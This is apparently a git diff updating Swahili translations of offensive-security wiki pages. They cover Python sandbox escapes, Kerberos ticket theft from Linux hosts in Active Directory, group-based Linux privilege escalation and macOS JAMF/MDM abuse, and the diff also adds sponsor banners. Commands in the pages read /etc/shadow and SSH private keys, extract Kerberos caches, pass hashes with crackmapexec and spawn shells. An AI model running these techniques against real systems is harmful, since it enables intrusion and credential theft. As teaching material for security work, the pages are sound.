### Mifumo ya Ufunuo wa Habari Nyeti
|
||||
### Mifumo ya Ufunuo wa Taarifa Nyeti
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
|
@ -750,10 +760,10 @@ Kulingana na [**TypeMonkey chall kutoka kwa andiko hili**](https://corgi.rip/pos
|
|||
|
||||
Kama ukumbusho, kila wakati kitendo kinapofanywa katika python, kazi fulani inatekelezwa. Kwa mfano, `2*3` itatekeleza **`(2).mul(3)`** au **`{'a':'b'}['a']`** itakuwa **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Una mengi kama haya katika sehemu [**Python execution without calls**](./#python-execution-without-calls).
|
||||
Una zaidi kama hii katika sehemu [**Python utekelezaji bila simu**](./#python-execution-without-calls).
|
||||
|
||||
Udhaifu wa muundo wa mfuatano wa python haukuruhusu kutekeleza kazi (haukuruhusu kutumia mabano), hivyo si rahisi kupata RCE kama `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Hata hivyo, inawezekana kutumia `[]`. Kwa hivyo, ikiwa maktaba ya kawaida ya python ina **`__getitem__`** au **`__getattr__`** ambayo inatekeleza msimbo usio wa kawaida, inawezekana kuutumia vibaya ili kupata RCE.
|
||||
Udhaifu wa muundo wa mfuatano wa python hauwezi kuruhusu kutekeleza kazi (hauwezi kuruhusu kutumia mabano), hivyo haiwezekani kupata RCE kama `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Hata hivyo, inawezekana kutumia `[]`. Kwa hivyo, ikiwa maktaba ya kawaida ya python ina **`__getitem__`** au **`__getattr__`** ambayo inatekeleza msimbo usio wa kawaida, inawezekana kuutumia kupata RCE.
|
||||
|
||||
Kutafuta kifaa kama hicho katika python, andiko linapendekeza hii [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Ambapo alipata hii [moja](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
|
||||
```python
|
||||
|
@ -789,9 +799,9 @@ The challenge actually abuses another vulnerability in the server that allows to
|
|||
If you want to **learn** about **python bytecode** in depth read this **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
Katika baadhi ya CTFs unaweza kupatiwa jina la **kazi maalum ambapo bendera** inapatikana na unahitaji kuona **mambo ya ndani** ya **kazi** hiyo ili kuipata.
|
||||
In some CTFs you could be provided with the name of a **custom function where the flag** resides and you need to see the **internals** of the **function** to extract it.
|
||||
|
||||
Hii ndiyo kazi ya kukagua:
|
||||
Hii ni kazi ya kukagua:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -983,7 +993,7 @@ types.CodeType.__doc__
|
|||
### Kuunda upya kazi iliyovuja
|
||||
|
||||
{% hint style="warning" %}
|
||||
Katika mfano ufuatao, tutachukua data zote zinazohitajika kuunda upya kazi kutoka kwa kitu cha msimbo wa kazi moja kwa moja. Katika **mfano halisi**, **thamani** zote za kutekeleza kazi **`code_type`** ndizo **utakazohitaji kuvuja**.
|
||||
Katika mfano ufuatao, tutachukua data zote zinazohitajika kuunda upya kazi kutoka kwa kitu cha msimbo wa kazi moja kwa moja. Katika **mfano halisi**, **thamani** zote za kutekeleza kazi **`code_type`** ndizo **utahitaji kuvuja**.
|
||||
{% endhint %}
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
|
@ -997,8 +1007,8 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### Bypass Defenses
|
||||
|
||||
Katika mifano ya awali mwanzoni mwa chapisho hili, unaweza kuona **jinsi ya kutekeleza msimbo wowote wa python kwa kutumia kazi ya `compile`**. Hii ni ya kuvutia kwa sababu unaweza **kutekeleza skripti nzima** zenye mizunguko na kila kitu katika **mstari mmoja** (na tunaweza kufanya vivyo hivyo kwa kutumia **`exec`**).\
|
||||
Hata hivyo, wakati mwingine inaweza kuwa na manufaa **kuunda** **kitu kilichokusanywa** kwenye mashine ya ndani na kukitekeleza kwenye **mashine ya CTF** (kwa mfano kwa sababu hatuna kazi ya `compiled` kwenye CTF).
|
||||
Katika mifano ya awali mwanzoni mwa chapisho hili, unaweza kuona **jinsi ya kutekeleza msimbo wowote wa python kwa kutumia `compile` function**. Hii ni ya kuvutia kwa sababu unaweza **kutekeleza skripti nzima** zenye mizunguko na kila kitu katika **msemo mmoja** (na tunaweza kufanya vivyo hivyo kwa kutumia **`exec`**).\
|
||||
Hata hivyo, wakati mwingine inaweza kuwa na manufaa **kuunda** **kipande kilichokusanywa** katika mashine ya ndani na kukitekeleza katika **CTF machine** (kwa mfano kwa sababu hatuna `compiled` function katika CTF).
|
||||
|
||||
Kwa mfano, hebu tukusanye na kutekeleza kwa mikono kazi inayosoma _./poc.py_:
|
||||
```python
|
||||
|
@ -1027,7 +1037,7 @@ mydict['__builtins__'] = __builtins__
|
|||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Ikiwa huwezi kufikia `eval` au `exec` unaweza kuunda **kazi sahihi**, lakini kuitaja moja kwa moja kawaida kutashindwa na: _mwandamizi haupatikani katika hali iliyozuiliwa_. Hivyo unahitaji **kazi ambayo haipo katika mazingira yaliyopunguzika kuitaja kazi hii.**
|
||||
Ikiwa huwezi kufikia `eval` au `exec` unaweza kuunda **kazi sahihi**, lakini kuitaja moja kwa moja kawaida kutashindwa na: _mwandamizi haupatikani katika hali iliyozuiliwa_. Hivyo unahitaji **kazi isiyo katika mazingira yaliyopunguzika kuitaja kazi hii.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
|
@ -1049,7 +1059,7 @@ Kwa kutumia zana kama [**https://www.decompiler.com/**](https://www.decompiler.c
|
|||
|
||||
### Assert
|
||||
|
||||
Python inayotekelezwa kwa uboreshaji na param `-O` itafuta taarifa za asset na msimbo wowote unaotegemea thamani ya **debug**.\
|
||||
Python inayotekelezwa kwa uboreshaji na param `-O` itafuta taarifa za asset na msimbo wowote wa masharti kulingana na thamani ya **debug**.\
|
||||
Hivyo, ukaguzi kama
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
|
@ -1070,17 +1080,25 @@ will be bypassed
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu 20+ za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia mashambulizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,6 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
Mashine ya linux inaweza pia kuwepo ndani ya mazingira ya Active Directory.
|
||||
|
||||
Mashine ya linux katika AD inaweza kuwa **ikiweka tiketi tofauti za CCACHE ndani ya faili. Tiketi hizi zinaweza kutumika na kutumiwa vibaya kama tiketi nyingine yoyote ya kerberos**. Ili kusoma tiketi hizi utahitaji kuwa mmiliki wa tiketi au **root** ndani ya mashine.
|
||||
|
@ -23,9 +27,9 @@ Mashine ya linux katika AD inaweza kuwa **ikiweka tiketi tofauti za CCACHE ndani
|
|||
|
||||
### AD enumeration kutoka linux
|
||||
|
||||
Ikiwa una ufikiaji juu ya AD katika linux (au bash katika Windows) unaweza kujaribu [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) ili kuhesabu AD.
|
||||
Ikiwa una ufikiaji juu ya AD katika linux (au bash katika Windows) unaweza kujaribu [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) ili kuorodhesha AD.
|
||||
|
||||
Unaweza pia kuangalia ukurasa ufuatao kujifunza **njia nyingine za kuhesabu AD kutoka linux**:
|
||||
Unaweza pia kuangalia ukurasa ufuatao kujifunza **njia nyingine za kuorodhesha AD kutoka linux**:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -33,7 +37,7 @@ Unaweza pia kuangalia ukurasa ufuatao kujifunza **njia nyingine za kuhesabu AD k
|
|||
|
||||
### FreeIPA
|
||||
|
||||
FreeIPA ni **mbadala** wa chanzo wazi kwa Microsoft Windows **Active Directory**, hasa kwa mazingira ya **Unix**. Inachanganya **LDAP directory** kamili na Kituo cha Usambazaji wa Funguo za MIT **Kerberos** kwa usimamizi unaofanana na Active Directory. Inatumia Mfumo wa **Cheti** wa Dogtag kwa usimamizi wa cheti za CA & RA, inasaidia **uthibitishaji wa hatua nyingi**, ikiwa ni pamoja na kadi za smart. SSSD imeunganishwa kwa michakato ya uthibitishaji wa Unix. Jifunze zaidi kuhusu hilo katika:
|
||||
FreeIPA ni **mbadala** wa chanzo wazi kwa Microsoft Windows **Active Directory**, hasa kwa mazingira ya **Unix**. Inachanganya **LDAP directory** kamili na Kituo cha Usambazaji wa Funguo za MIT **Kerberos** kwa usimamizi unaofanana na Active Directory. Inatumia Mfumo wa **Cheti** wa Dogtag kwa usimamizi wa cheti za CA & RA, inasaidia **uthibitishaji wa hatua nyingi**, ikiwa ni pamoja na kadi za smart. SSSD imeunganishwa kwa michakato ya uthibitishaji wa Unix. Jifunze zaidi kuhusu hiyo katika:
|
||||
|
||||
{% content-ref url="../freeipa-pentesting.md" %}
|
||||
[freeipa-pentesting.md](../freeipa-pentesting.md)
|
||||
|
@ -85,9 +89,9 @@ Kuita \*\*`SSSDKCMExtractor` \*\* na vigezo --database na --key vitachambua hifa
|
|||
git clone https://github.com/fireeye/SSSDKCMExtractor
|
||||
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
||||
```
|
||||
The **credential cache Kerberos blob inaweza kubadilishwa kuwa faili ya Kerberos CCache** inayoweza kupitishwa kwa Mimikatz/Rubeus.
|
||||
**kumbukumbu ya akiba ya sifa za Kerberos inaweza kubadilishwa kuwa faili ya Kerberos CCache** inayoweza kupitishwa kwa Mimikatz/Rubeus.
|
||||
|
||||
### CCACHE tiketi ya matumizi tena kutoka keytab
|
||||
### Urejeo wa tiketi ya CCACHE kutoka kwa keytab
|
||||
```bash
|
||||
git clone https://github.com/its-a-feature/KeytabParser
|
||||
python KeytabParser.py /etc/krb5.keytab
|
||||
|
@ -111,7 +115,7 @@ Katika macOS, **`bifrost`** hutumika kama chombo cha uchambuzi wa faili za keyta
|
|||
```bash
|
||||
./bifrost -action dump -source keytab -path /path/to/your/file
|
||||
```
|
||||
Kwa kutumia taarifa za akaunti na hash zilizopatikana, muunganisho na seva zinaweza kuanzishwa kwa kutumia zana kama **`crackmapexec`**.
|
||||
Kwa kutumia taarifa za akaunti na hash zilizovunwa, mawasiliano na seva zinaweza kuanzishwa kwa kutumia zana kama **`crackmapexec`**.
|
||||
```bash
|
||||
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
|
||||
```
|
||||
|
@ -120,6 +124,10 @@ crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDO
|
|||
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -129,8 +137,8 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -13,6 +13,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
# Sudo/Admin Groups
|
||||
|
||||
|
@ -74,7 +80,7 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
|||
|
||||
# Wheel Group
|
||||
|
||||
**Wakati mwingine**, **kwa kawaida** ndani ya **/etc/sudoers** faili unaweza kupata mstari huu:
|
||||
**Wakati mwingine**, **kwa default** ndani ya faili ya **/etc/sudoers** unaweza kupata mstari huu:
|
||||
```text
|
||||
%wheel ALL=(ALL:ALL) ALL
|
||||
```
|
||||
|
@ -104,7 +110,7 @@ debugfs: ls
|
|||
debugfs: cat /root/.ssh/id_rsa
|
||||
debugfs: cat /etc/shadow
|
||||
```
|
||||
Kumbuka kwamba kutumia debugfs unaweza pia **kuandika faili**. Kwa mfano, ili nakala `/tmp/asd1.txt` kwenda `/tmp/asd2.txt` unaweza kufanya:
|
||||
Kumbuka kwamba kutumia debugfs unaweza pia **kuandika faili**. Kwa mfano, ili nakala ya `/tmp/asd1.txt` kwenda `/tmp/asd2.txt` unaweza kufanya:
|
||||
```bash
|
||||
debugfs -w /dev/sda1
|
||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
|
@ -126,7 +132,7 @@ Kikundi cha **video** kina ufikiaji wa kuangalia matokeo ya skrini. Kimsingi una
|
|||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
```
|
||||
To **fungua** **picha ya raw** unaweza kutumia **GIMP**, chagua faili **`screen.raw`** na chagua kama aina ya faili **Data ya picha ya raw**:
|
||||
Ili **kufungua** **picha ya raw** unaweza kutumia **GIMP**, chagua faili **`screen.raw`** na chagua kama aina ya faili **Data ya picha ya raw**:
|
||||
|
||||
![](../../.gitbook/assets/image%20%28208%29.png)
|
||||
|
||||
|
@ -136,7 +142,7 @@ Kisha badilisha Upana na Kimo kuwa zile zinazotumika kwenye skrini na angalia Ai
|
|||
|
||||
# Kundi la Root
|
||||
|
||||
Inaonekana kama kwa kawaida **wanachama wa kundi la root** wanaweza kuwa na ufikiaji wa **kubadilisha** baadhi ya **faili za usanidi** wa huduma au baadhi ya **faili za maktaba** au **mambo mengine ya kuvutia** ambayo yanaweza kutumika kuongeza mamlaka...
|
||||
Inaonekana kama kwa kawaida **wanachama wa kundi la root** wanaweza kuwa na ufikiaji wa **kubadilisha** baadhi ya faili za usanidi wa **huduma** au baadhi ya faili za **maktaba** au **mambo mengine ya kuvutia** ambayo yanaweza kutumika kuongeza mamlaka...
|
||||
|
||||
**Angalia ni faili zipi wanachama wa root wanaweza kubadilisha**:
|
||||
```bash
|
||||
|
@ -144,7 +150,7 @@ find / -group root -perm -g=w 2>/dev/null
|
|||
```
|
||||
# Docker Group
|
||||
|
||||
Unaweza kuunganisha mfumo wa faili wa mwenyeji kwenye volumu ya mfano, hivyo wakati mfano unapoanza, mara moja unaload `chroot` kwenye volumu hiyo. Hii inakupa root kwenye mashine.
|
||||
Unaweza kuunganisha mfumo wa faili wa mwenyeji kwenye kiasi cha mfano, hivyo wakati mfano unapoanza, mara moja inachaji `chroot` kwenye kiasi hicho. Hii inakupa root kwenye mashine.
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
|
||||
|
@ -154,16 +160,24 @@ Unaweza kuunganisha mfumo wa faili wa mwenyeji kwenye volumu ya mfano, hivyo wak
|
|||
|
||||
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) kujenga na **kujiendesha** kwa urahisi kazi zinazotolewa na zana za jamii **zilizoendelea zaidi** duniani.\
|
||||
Pata Ufikiaji Leo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,22 +15,30 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Abusing MDMs
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti mapungufu makubwa, yanayoweza kutumiwa kwa faida na athari halisi za kibiashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Kutumia MDM vibaya
|
||||
|
||||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
Ikiwa utaweza **kudukua akauti za admin** ili kufikia jukwaa la usimamizi, unaweza **kudukua kompyuta zote** kwa kusambaza malware yako kwenye mashine.
|
||||
Ikiwa utaweza **kudhoofisha akidi za admin** ili kufikia jukwaa la usimamizi, unaweza **kudhoofisha kompyuta zote** kwa kusambaza programu yako ya uhalifu kwenye mashine.
|
||||
|
||||
Kwa red teaming katika mazingira ya MacOS, inashauriwa sana kuwa na ufahamu wa jinsi MDMs zinavyofanya kazi:
|
||||
Kwa red teaming katika mazingira ya MacOS, inashauriwa sana kuwa na ufahamu wa jinsi MDM zinavyofanya kazi:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Using MDM as a C2
|
||||
### Kutumia MDM kama C2
|
||||
|
||||
MDM itakuwa na ruhusa ya kufunga, kuuliza au kuondoa profaili, kufunga programu, kuunda akaunti za admin za ndani, kuweka nenosiri la firmware, kubadilisha ufunguo wa FileVault...
|
||||
MDM itakuwa na ruhusa ya kufunga, kuuliza au kuondoa profaili, kufunga programu, kuunda akaunti za admin za ndani, kuweka nenosiri la firmware, kubadilisha funguo za FileVault...
|
||||
|
||||
Ili kuendesha MDM yako mwenyewe unahitaji **CSR yako isainiwe na muuzaji** ambayo unaweza kujaribu kupata na [**https://mdmcert.download/**](https://mdmcert.download/). Na ili kuendesha MDM yako mwenyewe kwa vifaa vya Apple unaweza kutumia [**MicroMDM**](https://github.com/micromdm/micromdm).
|
||||
|
||||
|
@ -40,28 +48,28 @@ Ili kusajili kifaa katika MDM unahitaji kufunga **`mobileconfig`** faili kama ro
|
|||
|
||||
**Mythic agent Orthrus** inatumia mbinu hii.
|
||||
|
||||
### Abusing JAMF PRO
|
||||
### Kutumia JAMF PRO vibaya
|
||||
|
||||
JAMF inaweza kuendesha **scripts za kawaida** (scripts zilizotengenezwa na sysadmin), **payloads za asili** (kuunda akaunti za ndani, kuweka nenosiri la EFI, ufuatiliaji wa faili/mchakato...) na **MDM** (mipangilio ya kifaa, vyeti vya kifaa...).
|
||||
|
||||
#### JAMF self-enrolment
|
||||
#### Usajili wa kujitegemea wa JAMF
|
||||
|
||||
Nenda kwenye ukurasa kama `https://<company-name>.jamfcloud.com/enroll/` kuona kama wana **self-enrolment enabled**. Ikiwa wanaweza **kuomba akauti za kufikia**.
|
||||
Nenda kwenye ukurasa kama `https://<company-name>.jamfcloud.com/enroll/` kuona kama wana **usajili wa kujitegemea ulioanzishwa**. Ikiwa wanaweza **kuomba akidi za kufikia**.
|
||||
|
||||
Unaweza kutumia script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) kufanya shambulio la password spraying.
|
||||
|
||||
Zaidi ya hayo, baada ya kupata akauti sahihi unaweza kuwa na uwezo wa kujaribu nguvu majina mengine ya watumiaji kwa fomu ifuatayo:
|
||||
Zaidi ya hayo, baada ya kupata akidi sahihi unaweza kuwa na uwezo wa kujaribu nguvu majina mengine ya watumiaji kwa fomu ifuatayo:
|
||||
|
||||
![](<../../.gitbook/assets/image (107).png>)
|
||||
|
||||
#### JAMF device Authentication
|
||||
#### Uthibitishaji wa kifaa cha JAMF
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`jamf`** binary ilikuwa na siri ya kufungua keychain ambayo wakati wa ugunduzi ilikuwa **shirikishi** kati ya kila mtu na ilikuwa: **`jk23ucnq91jfu9aj`**.\
|
||||
Zaidi ya hayo, jamf **persist** kama **LaunchDaemon** katika **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
Zaidi ya hayo, jamf **inaendelea** kama **LaunchDaemon** katika **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
|
||||
#### JAMF Device Takeover
|
||||
#### Kuchukua kifaa cha JAMF
|
||||
|
||||
**JSS** (Jamf Software Server) **URL** ambayo **`jamf`** itatumia iko katika **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
Faili hii kimsingi ina URL:
|
||||
|
@ -90,14 +98,14 @@ sudo jamf policy -id 0
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
#### JAMF Ujumbe wa Kuingilia
|
||||
#### JAMF Ujumbe wa Ujanja
|
||||
|
||||
Ili **kuiga mawasiliano** kati ya kifaa na JMF unahitaji:
|
||||
Ili **kujifanya kama mawasiliano** kati ya kifaa na JMF unahitaji:
|
||||
|
||||
* **UUID** ya kifaa: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
